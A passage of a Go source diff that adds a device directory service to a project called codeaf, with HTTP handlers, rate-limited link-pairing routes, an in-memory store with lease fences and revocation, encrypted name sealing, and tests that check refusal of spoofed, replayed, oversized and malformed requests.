+ clock *directorytest.FakeClock + dirs map[string]*directory.Memory + links directory.Decider +} + +func newNamespaces(clock *directorytest.FakeClock) *namespaces { + return &namespaces{clock: clock, dirs: map[string]*directory.Memory{}} +} + +func (n *namespaces) open(identity string) (directory.Directory, error) { + n.mu.Lock() + defer n.mu.Unlock() + if n.dirs[identity] == nil { + n.dirs[identity] = directory.NewMemory(n.clock.Now) + n.dirs[identity].SetLinks(n.links) + } + return n.dirs[identity], nil +} + +type rig struct { + srv *httptest.Server + clock *directorytest.FakeClock +} + +func newRig(t *testing.T, clock *directorytest.FakeClock, auth wireauth.Authenticate) rig { + t.Helper() + srv := httptest.NewServer(directory.Handler(auth, newNamespaces(clock).open)) + t.Cleanup(srv.Close) + return rig{srv: srv, clock: clock} +} + +func (g rig) as(identity, device string) directory.Client { + return directory.NewHTTP(g.srv.URL, fakeSign(identity, device), g.srv.Client()) +} + +func TestHTTPConformance(t *testing.T) { + directorytest.Run(t, func(t *testing.T, clock *directorytest.FakeClock) directorytest.Devices { + g := newRig(t, clock, fakeAuth) + return func(device string) directory.Client { return g.as("id_one", device) } + }) +} + +func TestHandlerTakesDeviceFromSignature(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + ctx := context.Background() + a, b := g.as("id_one", devA), g.as("id_one", devB) + if _, err := a.Create(ctx, cellX, directory.CellInit{Head: head1, Class: "chat"}); err != nil { + t.Fatal(err) + } + + // B holds A's fence and even smuggles a device into the body, yet acts as B. + _, err := b.Heartbeat(ctx, cellX, directory.Beat{Fence: 1}) + if !errors.Is(err, directory.ErrFenceStale) { + t.Fatalf("B heartbeat with A's fence = %v", err) + } + req, _ := http.NewRequest("POST", g.srv.URL+"/v1/dir/cells/"+cellX+"/heartbeat", + strings.NewReader(`{"fence":1,"device":"`+devA+`"}`)) + fakeSign("id_one", devB)(req, nil) + resp, err := g.srv.Client().Do(req) + if err != nil { + t.Fatal(err) + } + resp.Body.Close() + if resp.StatusCode != http.StatusConflict { + t.Fatalf("smuggled device: status %d", resp.StatusCode) + } +} + +func TestHandlerRefusesAnotherDevicesRecord(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + ctx := context.Background() + a, b := g.as("id_one", devA), g.as("id_one", devB) + + err := a.PutDevice(ctx, devB, directory.Device{V: 1, Name: "forged"}) + if !errors.Is(err, directory.ErrUnauthorized) { + t.Fatalf("A writing B's record = %v, want ErrUnauthorized", err) + } + l, err := b.List(ctx) + if err != nil || len(l.Devices) != 0 { + t.Fatalf("list = %+v, %v; nothing may have been written", l, err) + } +} + +func TestHTTPNamespacesAreIsolated(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + ctx := context.Background() + x, y := g.as("id_x", devA), g.as("id_y", devA) + if _, err := x.Create(ctx, cellX, directory.CellInit{Head: head1, Class: "chat"}); err != nil { + t.Fatal(err) + } + if _, err := y.Cell(ctx, cellX); !errors.Is(err, directory.ErrNotFound) { + t.Fatalf("other identity sees the cell: %v", err) + } + if _, err := y.Create(ctx, cellX, directory.CellInit{Head: head2, Class: "chat"}); err != nil { + t.Fatalf("same id in another namespace: %v", err) + } + l, _ := x.List(ctx) + if l.Cells[cellX].Head != head1 { + t.Fatalf("x's cell changed: %+v", l.Cells[cellX]) + } +} + +// failing is a Directory whose every write returns err. +type failing struct{ err error } + +func (f failing) For(string) directory.Client { return failClient{err: f.err} } + +type failClient struct { + directory.Client + err error +} + +func (f failClient) Acquire(context.Context, string, directory.AcquireOpts) (directory.CellView, error) { + return directory.CellView{}, f.err +} + +func TestHTTPErrorsRoundTrip(t *testing.T) { + for _, want := range []error{ + directory.ErrNotFound, directory.ErrExists, directory.ErrLeaseHeld, + directory.ErrFenceStale, directory.ErrHeadMoved, directory.ErrCAS, + directory.ErrUnauthorized, directory.ErrRevoked, + } { + t.Run(want.Error(), func(t *testing.T) { + srv := httptest.NewServer(directory.Handler(fakeAuth, func(string) (directory.Directory, error) { + return failing{want}, nil + })) + defer srv.Close() + c := directory.NewHTTP(srv.URL, fakeSign("id_one", devA), srv.Client()) + if _, err := c.Acquire(context.Background(), cellX, directory.AcquireOpts{}); !errors.Is(err, want) { + t.Fatalf("got %v, want %v", err, want) + } + }) + } +} + +func TestHandlerUnknownErrorIsServerFault(t *testing.T) { + srv := httptest.NewServer(directory.Handler(fakeAuth, func(string) (directory.Directory, error) { + return failing{errors.New("disk on fire")}, nil + })) + defer srv.Close() + c := directory.NewHTTP(srv.URL, fakeSign("id_one", devA), srv.Client()) + _, err := c.Acquire(context.Background(), cellX, directory.AcquireOpts{}) + if err == nil || !strings.Contains(err.Error(), "500") { + t.Fatalf("err = %v, want a 500", err) + } +} + +func TestHTTPClientSurfacesSkew(t *testing.T) { + skewed := func(*http.Request, []byte) (string, string, error) { return "", "", wireauth.ErrSkew } + g := newRig(t, directorytest.NewFakeClock(), skewed) + _, err := g.as("id_one", devA).List(context.Background()) + if !errors.Is(err, wireauth.ErrSkew) { + t.Fatalf("err = %v, want wireauth.ErrSkew", err) + } +} + +func TestHTTPRefusalWithoutProofIsUnauthorized(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + c := directory.NewHTTP(g.srv.URL, func(*http.Request, []byte) {}, g.srv.Client()) + if _, err := c.List(context.Background()); !errors.Is(err, directory.ErrUnauthorized) { + t.Fatalf("err = %v, want ErrUnauthorized", err) + } +} + +func TestHTTPTransportFailureIsUnreachable(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + c := g.as("id_one", devA) + g.srv.Close() + if _, err := c.List(context.Background()); !errors.Is(err, directory.ErrUnreachable) { + t.Fatalf("err = %v, want ErrUnreachable", err) + } +} + +func TestHandlerLimitsBody(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + big := bytes.Repeat([]byte("a"), directory.MaxBody+1) + req, _ := http.NewRequest("POST", g.srv.URL+"/v1/dir/cells/"+cellX, bytes.NewReader(big)) + fakeSign("id_one", devA)(req, big) + resp, err := g.srv.Client().Do(req) + if err != nil { + t.Fatal(err) + } + resp.Body.Close() + if resp.StatusCode != http.StatusRequestEntityTooLarge { + t.Fatalf("status = %d, want 413", resp.StatusCode) + } + if _, err := g.as("id_one", devA).Cell(context.Background(), cellX); !errors.Is(err, directory.ErrNotFound) { + t.Fatalf("an oversized create must leave no cell: %v", err) + } +} + +func TestHandlerRejectsMalformedBody(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + req, _ := http.NewRequest("POST", g.srv.URL+"/v1/dir/cells/"+cellX, strings.NewReader("{nope")) + fakeSign("id_one", devA)(req, nil) + resp, err := g.srv.Client().Do(req) + if err != nil { + t.Fatal(err) + } + resp.Body.Close() + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400", resp.StatusCode) + } +} + +func TestReplayedPublishIsRefusedByFence(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + ctx := context.Background() + a, b := g.as("id_one", devA), g.as("id_one", devB) + if _, err := a.Create(ctx, cellX, directory.CellInit{Head: head1, Class: "chat"}); err != nil { + t.Fatal(err) + } + g.clock.Advance(directory.LeaseTTL + 1) + if _, err := b.Acquire(ctx, cellX, directory.AcquireOpts{}); err != nil { + t.Fatal(err) + } + // A replays the publish it sealed before B took over; the fence refuses it. + _, err := a.Publish(ctx, cellX, directory.Publish{Fence: 1, OldHead: head1, Head: head2, Class: "chat"}) + if !errors.Is(err, directory.ErrFenceStale) { + t.Fatalf("replayed publish = %v, want ErrFenceStale", err) + } +} + +// A rate limit from the directory keeps the wait the relay named, as the store's does. +func TestHTTPRateLimitKeepsRetryAfter(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Retry-After", "30") + w.WriteHeader(http.StatusTooManyRequests) + _, _ = w.Write([]byte(`{"err":"rate_limited"}`)) + })) + defer srv.Close() + c := directory.NewHTTP(srv.URL, fakeSign("alice", devA), srv.Client()) + _, err := c.List(context.Background()) + if !errors.Is(err, wireauth.ErrRateLimited) || wireauth.After(err) != 30*time.Second { + t.Fatalf("List = %v (after %v), want ErrRateLimited after 30s", err, wireauth.After(err)) + } +} diff --git a/internal/directory/linkhttp.go b/internal/directory/linkhttp.go new file mode 100644 index 0000000000..650248fdc7 --- /dev/null +++ b/internal/directory/linkhttp.go @@ -0,0 +1,100 @@ +package directory + +import ( + "context" + "encoding/json" + "errors" + "io" + "net/http" + "net/url" + "strconv" + "time" +) + +// LinkPath is the base of the open link-pairing routes. +const LinkPath = "/v1/link" + +// Linker is the store LinkHandler serves. *Links is the one implementation. +type Linker interface { + Open(peer string, in NewRequest) (Opened, error) + Read(ctx context.Context, peer, code string, wait time.Duration) (Request, error) + Limits() LinkLimits +} + +// PeerFunc names the network a request comes from, which the limits count. +type PeerFunc func(*http.Request) string + +// LinkHandler serves the open link-pairing routes (contract 3.1, 3.2, 3.6). +// They take no signature: the device asking has no identity yet. +func LinkHandler(l Linker, peer PeerFunc) http.Handler { + h := linkRoutes{l: l, peer: peer} + mux := http.NewServeMux() + mux.HandleFunc("POST "+LinkPath+"/requests", h.create) + mux.HandleFunc("GET "+LinkPath+"/requests/{code}", h.read) + mux.HandleFunc("GET "+LinkPath+"/limits", func(w http.ResponseWriter, _ *http.Request) { send(w, http.StatusOK, l.Limits()) }) + return mux +} + +type linkRoutes struct { + l Linker + peer PeerFunc +} + +func (h linkRoutes) create(w http.ResponseWriter, r *http.Request) { + body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, MaxNewBody)) + var in NewRequest + if err != nil { + refuse(w, ErrTooBig) + return + } + if json.Unmarshal(body, &in) != nil { + refuse(w, ErrBadRequest) + return + } + o, err := h.l.Open(h.peer(r), in) + if err != nil { + refuse(w, err) + return + } + send(w, http.StatusCreated, o) +} + +func (h linkRoutes) read(w http.ResponseWriter, r *http.Request) { + ms, _ := strconv.Atoi(r.URL.Query().Get("wait")) + rec, err := h.l.Read(r.Context(), h.peer(r), r.PathValue("code"), time.Duration(ms)*time.Millisecond) + switch { + case errors.Is(err, ErrStillPending): + w.WriteHeader(http.StatusNoContent) + case err != nil: + refuse(w, err) + default: + send(w, http.StatusOK, rec) + } +} + +// LinkHTTP is Requests over the wire. It signs nothing. +type LinkHTTP struct{ h *HTTP } + +// NewLinkHTTP returns the open-side client for the relay at base. +func NewLinkHTTP(base string, hc *http.Client) *LinkHTTP { + return &LinkHTTP{h: NewHTTP(base, func(*http.Request, []byte) {}, hc)} +} + +var _ Requests = (*LinkHTTP)(nil) + +func (c *LinkHTTP) CreateRequest(ctx context.Context, in NewRequest) (o Opened, err error) { + return o, c.h.do(ctx, http.MethodPost, LinkPath+"/requests", in, &o) +} + +func (c *LinkHTTP) GetRequest(ctx context.Context, code string, wait time.Duration) (r Request, err error) { + path := LinkPath + "/requests/" + url.PathEscape(code) + if wait > 0 { + path += "?wait=" + strconv.FormatInt(wait.Milliseconds(), 10) + } + return r, c.h.do(ctx, http.MethodGet, path, nil, &r) +} + +// Limits reads the numbers the relay enforces. +func (c *LinkHTTP) Limits(ctx context.Context) (l LinkLimits, err error) { + return l, c.h.do(ctx, http.MethodGet, LinkPath+"/limits", nil, &l) +} diff --git a/internal/directory/links.go b/internal/directory/links.go new file mode 100644 index 0000000000..6985f3c365 --- /dev/null +++ b/internal/directory/links.go @@ -0,0 +1,301 @@ +package directory + +import ( + "context" + "crypto/rand" + "net/http" + "strconv" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// LinkLimits are the numbers a client may read (contract 3.6). +type LinkLimits struct { + TTLMs int64 `json:"ttl_ms"` + CreatePerHour int `json:"create_per_hour"` + PendingPerIP int `json:"pending_per_ip"` + ReadPerMinute int `json:"read_per_minute"` + MissPerMinute int `json:"miss_per_minute"` + ConcurrentPolls int `json:"concurrent_polls"` + MaxGrant int `json:"max_grant"` + MaxLive int `json:"max_live"` +} + +// DefaultLinkLimits are the contract's numbers. +var DefaultLinkLimits = LinkLimits{ + TTLMs: RequestTTL.Milliseconds(), CreatePerHour: 10, PendingPerIP: 3, ReadPerMinute: 60, + MissPerMinute: 20, ConcurrentPolls: 4, MaxGrant: MaxGrant, MaxLive: 2000, +} + +// Decider is the decision side of the request store, as an identity's +// directory sees it. apply runs while the request is still undecided and +// before the decision is kept, so a refused write leaves the request pending +// and two approvers cannot both write. +type Decider interface { + Decide(code string, d Decision, apply func(Request) error) error +} + +// Links is the global store of pending requests, one per relay (the Worker's +// LinkGate and LinkRequest objects). It is in memory: a request lives ten +// minutes, so a restart costs a person one new code. +type Links struct { + clock func() time.Time + limits LinkLimits + + mu sync.Mutex + reqs map[string]*entry + peers map[string]*use +} + +// entry is a request, the moment it stops being readable, and a channel that +// closes when it is decided. +type entry struct { + rec Request + peer string + until int64 + done chan struct{} +} + +// NewLinks returns an empty store that reads time from clock. +func NewLinks(clock func() time.Time, limits LinkLimits) *Links { + return &Links{clock: clock, limits: limits, reqs: map[string]*entry{}, peers: map[string]*use{}} +} + +var _ Decider = (*Links)(nil) + +// Limits are the numbers this store enforces. +func (l *Links) Limits() LinkLimits { return l.limits } + +func (l *Links) now() int64 { return l.clock().UnixMilli() } + +// Open stores a request made by peer. +func (l *Links) Open(peer string, in NewRequest) (Opened, error) { + l.mu.Lock() + defer l.mu.Unlock() + now := l.now() + l.sweep(now) + code, err := newCode() + if err != nil { + return Opened{}, err + } + o, rec, err := in.opened(code, now) + if err != nil { + return Opened{}, err + } + if err := l.admitCreate(peer, now); err != nil { + return Opened{}, err + } + l.reqs[code] = &entry{rec: rec, peer: peer, until: rec.ExpiresAt, done: make(chan struct{})} + return o, nil +} + +// admitCreate applies the per-network and global limits to one create. +func (l *Links) admitCreate(peer string, now int64) error { + switch { + case len(l.reqs) >= l.limits.MaxLive: + return ErrFull + case l.pendingOf(peer) >= l.limits.PendingPerIP: + return slow(time.Minute) + } + return l.use(peer).creates.take(now, time.Hour.Milliseconds(), l.limits.CreatePerHour) +} + +func (l *Links) pendingOf(peer string) (n int) { + for _, e := range l.reqs { + if e.peer == peer && e.rec.State == RequestPending { + n++ + } + } + return n +} + +// Read answers a request to peer; see Requests.GetRequest. +func (l *Links) Read(ctx context.Context, peer, code string, wait time.Duration) (Request, error) { + e, release, err := l.find(peer, code, wait > 0) + if err != nil { + return Request{}, err + } + defer release() + if wait > 0 { + l.await(ctx, e, min(wait, MaxWait)) + } + return l.snapshot(e, wait > 0) +} + +// find looks a code up under peer's read budget and, when the caller will +// wait, takes one of its poll places. release gives the place back. +func (l *Links) find(peer, code string, polling bool) (*entry, func(), error) { + l.mu.Lock() + defer l.mu.Unlock() + now := l.now() + l.sweep(now) + u := l.use(peer) + if err := u.reads.take(now, time.Minute.Milliseconds(), l.limits.ReadPerMinute); err != nil { + return nil, nil, err + } + e, ok := l.reqs[NormalizeCode(code)] + if !ok { + if err := u.misses.take(now, time.Minute.Milliseconds(), l.limits.MissPerMinute); err != nil { + return nil, nil, err + } + return nil, nil, ErrRequestGone + } + if !polling || e.rec.State != RequestPending { + return e, func() {}, nil + } + if u.polls >= l.limits.ConcurrentPolls { + return nil, nil, slow(time.Second) + } + u.polls++ + return e, func() { l.mu.Lock(); u.polls--; l.mu.Unlock() }, nil +} + +// await blocks until e is decided, the wait ends or ctx ends. +func (l *Links) await(ctx context.Context, e *entry, wait time.Duration) { + t := time.NewTimer(wait) + defer t.Stop() + select { + case <-e.done: + case <-t.C: + case <-ctx.Done(): + } +} + +// snapshot copies e's record; a polled request that is still pending is +// ErrStillPending, so the caller can tell a quiet wait from an answer. +func (l *Links) snapshot(e *entry, polled bool) (Request, error) { + l.mu.Lock() + defer l.mu.Unlock() + if polled && e.rec.State == RequestPending { + return Request{}, ErrStillPending + } + return e.rec, nil +} + +// Decide moves the request named code out of pending; see Decider. +func (l *Links) Decide(code string, d Decision, apply func(Request) error) error { + l.mu.Lock() + defer l.mu.Unlock() + now := l.now() + l.sweep(now) + e, ok := l.reqs[NormalizeCode(code)] + if !ok { + return ErrRequestGone + } + switch err := Settle(e.rec, d); err { + case errRepeat: + return nil + case nil: + default: + return err + } + if err := apply(e.rec); err != nil { + return err + } + e.rec, e.until = Decided(e.rec, d), now+DecidedKeep.Milliseconds() + close(e.done) + return nil +} + +// sweep forgets what can no longer be read, and the networks that have used +// nothing lately. The caller holds the lock. +func (l *Links) sweep(now int64) { + for code, e := range l.reqs { + if now >= e.until { + delete(l.reqs, code) + } + } + for peer, u := range l.peers { + if u.idle(now) { + delete(l.peers, peer) + } + } +} + +// From is the Requests one network sees; it is how a caller in the same +// process (a test, a local relay) uses the store without HTTP. +func (l *Links) From(peer string) Requests { return linkView{l, peer} } + +type linkView struct { + l *Links + peer string +} + +func (v linkView) CreateRequest(_ context.Context, in NewRequest) (Opened, error) { + return v.l.Open(v.peer, in) +} + +func (v linkView) GetRequest(ctx context.Context, code string, wait time.Duration) (Request, error) { + return v.l.Read(ctx, v.peer, code, wait) +} + +// newCode is 40 random bits in Crockford base32. +func newCode() (string, error) { + var raw [5]byte + if _, err := rand.Read(raw[:]); err != nil { + return "", err + } + var bits uint64 + for _, b := range raw { + bits = bits<<8 | uint64(b) + } + out := make([]byte, 8) + for i := range out { + out[i] = codeAlphabet[bits>>(5*(7-i))&31] + } + return string(out), nil +} + +// use is what one network has spent. +type use struct { + creates, reads, misses window + polls int +} + +func (l *Links) use(peer string) *use { + if l.peers[peer] == nil { + l.peers[peer] = &use{} + } + return l.peers[peer] +} + +func (u *use) idle(now int64) bool { + return u.polls == 0 && u.creates.empty(now, time.Hour.Milliseconds()) && + u.reads.empty(now, time.Minute.Milliseconds()) && u.misses.empty(now, time.Minute.Milliseconds()) +} + +// window counts uses inside a span, so a limit is "no more than n in the last +// span" and not a bucket that refills in lumps. +type window struct{ at []int64 } + +func (w *window) trim(now, span int64) { + keep := 0 + for keep < len(w.at) && now >= w.at[keep]+span { + keep++ + } + w.at = w.at[keep:] +} + +func (w *window) empty(now, span int64) bool { + w.trim(now, span) + return len(w.at) == 0 +} + +// take records a use unless max already fall inside span; then it answers a +// rate-limit refusal that says when the oldest use leaves the window. +func (w *window) take(now, span int64, max int) error { + w.trim(now, span) + if len(w.at) >= max { + return slow(time.Duration(w.at[0]+span-now) * time.Millisecond) + } + w.at = append(w.at, now) + return nil +} + +// slow is ErrRateLimited carrying how long to wait, rounded up to a second. +func slow(d time.Duration) error { + secs := int((d + time.Second - 1) / time.Second) + return wireauth.Wait(ErrRateLimited, http.Header{"Retry-After": {strconv.Itoa(max(secs, 1))}}) +} diff --git a/internal/directory/memory.go b/internal/directory/memory.go new file mode 100644 index 0000000000..b26bf8180f --- /dev/null +++ b/internal/directory/memory.go @@ -0,0 +1,314 @@ +package directory + +import ( + "context" + "maps" + "sync" + "time" +) + +// Memory is a small real directory held in memory. It applies the pure rules +// under one lock per write and stamps every time from its own clock. Many +// devices share one Memory, each through the Client that For returns. +type Memory struct { + pairing + clock func() time.Time + + mu sync.Mutex + identity IdentityRec + devices map[string]Device + cells map[string]Cell + grace GraceBounds + + // version counts the changes a person could see, and feed tells watchers of + // each. Only set and its two siblings move the first, and only locked + // publishes, so no verb can change a record without both. + version uint64 + feed *Feed +} + +// NewMemory returns an empty directory that reads time from clock. +func NewMemory(clock func() time.Time) *Memory { + m := &Memory{ + clock: clock, + identity: IdentityRec{V: 1}, + devices: map[string]Device{}, + cells: map[string]Cell{}, + grace: DefaultGraceBounds, + feed: NewFeed(clock), + } + wireFeed(m.feed, &m.pairing, m.seen) + return m +} + +var _ Watchable = (*Memory)(nil) + +// Feed is how a watcher hears of changes. +func (m *Memory) Feed() *Feed { return m.feed } + +// SetMaxWatchers changes the per-identity watcher cap. +func (m *Memory) SetMaxWatchers(n int) { m.feed.SetMaxWatchers(n) } + +// SetAfter changes the timers presence runs on. +func (m *Memory) SetAfter(after After) { m.feed.SetAfter(after) } + +// Close ends every watch. +func (m *Memory) Close() error { + m.feed.Close() + return nil +} + +// set stores next under id and counts the change when a person could see it. +// The caller holds the lock. +func set[T any](m *Memory, table map[string]T, id string, next T) { + old, had := table[id] + m.count(!had || m.feed.differs(id, old, next, m.now())) + table[id] = next +} + +// setIdentity is set for the one identity record. +func (m *Memory) setIdentity(next IdentityRec) { + m.count(differs(m.identity, next, m.now())) + m.identity = next +} + +func (m *Memory) count(changed bool) { + if changed { + m.version++ + } +} + +// publish tells watchers the directory is now at its current version. +func (m *Memory) publish() { m.feed.Publish(statusOf(m.version, m.identity, m.devices)) } + +// SetGraceBounds changes what a retire may ask for; a test or a relay that +// wants a short grace says so once, here. +func (m *Memory) SetGraceBounds(b GraceBounds) { + m.mu.Lock() + defer m.mu.Unlock() + m.grace = b +} + +// For returns the Client that device would hold: every write it makes is made +// as that device. +func (m *Memory) For(device string) Client { + return &memoryClient{pairing: &m.pairing, m: m, device: device} +} + +type memoryClient struct { + *pairing + m *Memory + device string +} + +func (m *Memory) now() int64 { return m.clock().UnixMilli() } + +// change reads cell id, applies fn and stores the result when fn accepts it. +// The caller holds the lock. +func (m *Memory) change(id string, fn func(Cell, int64) (Cell, error)) (CellView, error) { + c, ok := m.cells[id] + if !ok { + return CellView{}, ErrNotFound + } + now := m.now() + next, err := fn(c, now) + if err != nil { + return CellView{}, err + } + set(m, m.cells, id, next) + return CellView{Now: now, Cell: copyCell(next)}, nil +} + +// locked runs fn holding the directory lock, unless the calling device has +// been revoked: then fn never runs and the caller is told so. Every verb goes +// through here, which makes "refused on every verb" a fact of one line. +func (c *memoryClient) locked(fn func() error) error { + c.m.mu.Lock() + defer c.m.mu.Unlock() + if c.m.devices[c.device].Revoked { + return ErrRevoked + } + before := c.m.version + err := fn() + if c.m.version != before { + c.m.publish() + } + return err +} + +// writing is locked for a verb that changes a record: a replaced identity +// refuses it, which makes "read-only after a rotation" a fact of one line. +func (c *memoryClient) writing(fn func() error) error { + return c.locked(func() error { + if err := refusesWrites(c.m.identity); err != nil { + return err + } + return fn() + }) +} + +// changed is change under the lock, for the calling device. +func (c *memoryClient) changed(id string, fn func(Cell, int64) (Cell, error)) (v CellView, err error) { + err = c.writing(func() (err error) { + v, err = c.m.change(id, fn) + return err + }) + return v, err +} + +func (c *memoryClient) List(context.Context) (l Listing, err error) { + err = c.locked(func() error { + l = Listing{ + Now: c.m.now(), Identity: c.m.identity, Version: c.m.version, + Devices: maps.Clone(c.m.devices), Cells: map[string]Cell{}, + } + for id, cell := range c.m.cells { + l.Cells[id] = copyCell(c.m.feed.Lifted(id, cell)) + } + l = withoutFrames(l) + return nil + }) + return l, err +} + +func (c *memoryClient) Cell(_ context.Context, id string) (v CellView, err error) { + err = c.locked(func() error { + cell, ok := c.m.cells[id] + if !ok { + return ErrNotFound + } + v = CellView{Now: c.m.now(), Cell: copyCell(c.m.feed.Lifted(id, cell))} + return nil + }) + return v, err +} + +func (c *memoryClient) Rotate(_ context.Context, req RotationReq) (v RotationView, err error) { + err = c.locked(func() error { + rec, err := RotateBy(c.m.identity, c.device, req, c.m.now(), c.m.grace) + if err != nil { + return err + } + c.m.setIdentity(rec) + v = viewOf(rec, c.m.now(), c.m.grace) + return nil + }) + return v, err +} + +func (c *memoryClient) Rotation(context.Context) (v RotationView, err error) { + err = c.locked(func() error { + v = viewOf(c.m.identity, c.m.now(), c.m.grace) + return nil + }) + return v, err +} + +// PutDevice keeps the stored Revoked flag whatever the record says, so the +// only way to stop a device is Revoke and a device cannot clear its own stop. +func (c *memoryClient) PutDevice(_ context.Context, id string, d Device) error { + return c.writing(func() error { + c.m.store(id, d) + return nil + }) +} + +// store writes a device record as the directory keeps it and answers it. The +// caller holds the lock. +func (m *Memory) store(id string, d Device) Device { + old, had := m.devices[id] + d = Stamped(old, had, d, m.now()) + set(m, m.devices, id, d) + return d +} + +func (c *memoryClient) ApproveRequest(_ context.Context, code string, a Approval) error { + return c.approve(code, a, func(r Request) (d Device, err error) { + err = c.writing(func() error { + d = c.m.store(r.Device, a.Device) + return nil + }) + return d, err + }) +} + +func (c *memoryClient) DenyRequest(_ context.Context, code string) error { + return c.deny(code, func() error { return c.writing(func() error { return nil }) }) +} + +func (c *memoryClient) Revoke(_ context.Context, id string) error { + return c.writing(func() error { + d, ok := c.m.devices[id] + if !ok { + return ErrNotFound + } + d, err := RevokeOf(d, c.device, id) + if err == nil { + set(c.m, c.m.devices, id, d) + } + return err + }) +} + +func (c *memoryClient) SetVault(_ context.Context, old, next string) error { + return c.writing(func() error { + if c.m.identity.Vault != old { + return ErrCAS + } + rec := c.m.identity + rec.Vault = next + c.m.setIdentity(rec) + return nil + }) +} + +func (c *memoryClient) Create(_ context.Context, id string, in CellInit) (v CellView, err error) { + err = c.writing(func() error { + if _, taken := c.m.cells[id]; taken { + return ErrExists + } + now := c.m.now() + cell := Created(in, c.device, now) + set(c.m, c.m.cells, id, cell) + v = CellView{Now: now, Cell: copyCell(cell)} + return nil + }) + return v, err +} + +func (c *memoryClient) Acquire(_ context.Context, id string, o AcquireOpts) (CellView, error) { + return c.changed(id, func(cell Cell, now int64) (Cell, error) { + return Acquire(c.m.feed.Lifted(id, cell), c.device, now, o.Force) + }) +} + +func (c *memoryClient) Heartbeat(_ context.Context, id string, b Beat) (CellView, error) { + return c.changed(id, func(cell Cell, now int64) (Cell, error) { return Heartbeat(cell, c.device, b, now) }) +} + +func (c *memoryClient) Publish(_ context.Context, id string, p Publish) (CellView, error) { + return c.changed(id, func(cell Cell, now int64) (Cell, error) { return PublishTo(cell, c.device, p, now) }) +} + +func (c *memoryClient) Release(_ context.Context, id string, fence uint64) error { + _, err := c.changed(id, func(cell Cell, _ int64) (Cell, error) { return ReleaseOf(cell, c.device, fence) }) + return err +} + +func (c *memoryClient) Archive(_ context.Context, id string) error { + _, err := c.changed(id, func(cell Cell, _ int64) (Cell, error) { + cell.Archived = true + return cell, nil + }) + return err +} + +// copyCell detaches the key map so a caller cannot edit the stored record. +func copyCell(c Cell) Cell { + keys := make(map[string]map[string]string, len(c.Keys)) + for id, wrapped := range c.Keys { + keys[id] = maps.Clone(wrapped) + } + c.Keys = keys + return c +} diff --git a/internal/directory/memory_test.go b/internal/directory/memory_test.go new file mode 100644 index 0000000000..704f2a0e58 --- /dev/null +++ b/internal/directory/memory_test.go @@ -0,0 +1,14 @@ +package directory_test + +import ( + "testing" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" +) + +func TestMemoryConforms(t *testing.T) { + directorytest.Run(t, func(_ *testing.T, clock *directorytest.FakeClock) directorytest.Devices { + return directory.NewMemory(clock.Now).For + }) +} diff --git a/internal/directory/names.go b/internal/directory/names.go new file mode 100644 index 0000000000..7e3eeee2f9 --- /dev/null +++ b/internal/directory/names.go @@ -0,0 +1,77 @@ +package directory + +import ( + "crypto/hmac" + "crypto/rand" + "crypto/sha256" + "encoding/base64" + "errors" + "unicode/utf8" + + "golang.org/x/crypto/chacha20poly1305" +) + +// MaxTitleBytes is how much of a title is kept before it is sealed. +const MaxTitleBytes = 120 + +var ( + b64 = base64.RawURLEncoding + nameAAD = []byte("codeaf:name:v1") + metaInfo = []byte("codeaf:metadata-key:v1") + + errSealedShort = errors.New("directory: sealed name too short") +) + +// MetadataKey derives the key that seals names from a cell key. +func MetadataKey(cellKey []byte) []byte { + mac := hmac.New(sha256.New, cellKey) + mac.Write(metaInfo) + return mac.Sum(nil) +} + +// SealName encrypts plain under key with a random nonce and returns +// b64(nonce ‖ ciphertext). The directory never sees the name. +func SealName(key []byte, plain string) (string, error) { + aead, err := chacha20poly1305.NewX(key) + if err != nil { + return "", err + } + nonce := make([]byte, aead.NonceSize()) + if _, err := rand.Read(nonce); err != nil { + return "", err + } + return b64.EncodeToString(aead.Seal(nonce, nonce, []byte(plain), nameAAD)), nil +} + +// OpenName reverses SealName. A wrong key or a changed byte is an error. +func OpenName(key []byte, sealed string) (string, error) { + aead, err := chacha20poly1305.NewX(key) + if err != nil { + return "", err + } + raw, err := b64.DecodeString(sealed) + if err != nil { + return "", err + } + if len(raw) < aead.NonceSize() { + return "", errSealedShort + } + nonce, body := raw[:aead.NonceSize()], raw[aead.NonceSize():] + plain, err := aead.Open(nil, nonce, body, nameAAD) + return string(plain), err +} + +// SealTitle cuts a title to MaxTitleBytes, never inside a character, and seals it. +func SealTitle(key []byte, title string) (string, error) { + return SealName(key, cutBytes(title, MaxTitleBytes)) +} + +func cutBytes(s string, max int) string { + if len(s) <= max { + return s + } + for max > 0 && !utf8.RuneStart(s[max]) { + max-- + } + return s[:max] +} diff --git a/internal/directory/names_test.go b/internal/directory/names_test.go new file mode 100644 index 0000000000..e7a0d3c59a --- /dev/null +++ b/internal/directory/names_test.go @@ -0,0 +1,71 @@ +package directory + +import ( + "strings" + "testing" +) + +func testKey() []byte { return MetadataKey([]byte("a cell key of any length")) } + +func TestSealOpenRoundTrip(t *testing.T) { + sealed, err := SealName(testKey(), "laptop") + if err != nil { + t.Fatal(err) + } + got, err := OpenName(testKey(), sealed) + if err != nil || got != "laptop" { + t.Fatalf("got %q, %v", got, err) + } + again, _ := SealName(testKey(), "laptop") + if again == sealed { + t.Fatal("two seals of one name matched: the nonce is not random") + } +} + +func TestOpenRefuses(t *testing.T) { + sealed, _ := SealName(testKey(), "laptop") + raw := []byte(sealed) + raw[len(raw)/2] ^= 1 + tests := []struct{ name, key, sealed string }{ + {"wrong key", string(MetadataKey([]byte("another key"))), sealed}, + {"tampered", string(testKey()), string(raw)}, + {"too short", string(testKey()), "AAAA"}, + {"not base64", string(testKey()), "!!!"}, + {"bad key length", "short", sealed}, + } + for _, tc := range tests { + 